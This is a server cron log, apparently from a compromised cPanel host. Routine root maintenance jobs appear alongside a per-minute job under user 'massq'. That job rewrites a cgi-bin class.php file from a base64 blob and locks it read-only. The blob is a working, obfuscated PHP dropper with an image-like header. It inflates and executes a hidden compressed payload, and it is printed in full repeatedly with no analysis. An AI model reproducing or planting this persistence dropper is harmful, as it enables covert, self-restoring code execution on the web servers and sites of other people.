Nov 15 20:14:01 server CROND[1050]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 20:15:01 server CROND[1316]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 20:15:01 server CROND[1318]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 20:15:01 server CROND[1317]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 20:15:01 server CROND[1319]: (root) CMD (/usr/local/cpanel/bin/dbindex &gt;/dev/null 2&gt;&amp;1)
Nov 15 20:16:01 server CROND[1688]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 20:17:01 server CROND[1980]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 20:18:01 server CROND[2230]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 20:19:01 server CROND[2503]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 20:20:01 server CROND[2770]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 15 20:20:01 server CROND[2772]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 20:20:01 server CROND[2771]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 20:20:01 server CROND[2773]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 20:20:01 server CROND[2774]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 15 20:21:01 server CROND[3092]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 20:22:01 server CROND[3440]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 20:23:01 server CROND[3702]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 20:24:01 server CROND[3956]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 20:25:01 server CROND[4212]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 20:25:01 server CROND[4213]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore &gt;/dev/null 2&gt;&amp;1)
Nov 15 20:25:01 server CROND[4215]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 20:25:01 server CROND[4214]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 20:26:01 server CROND[4538]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
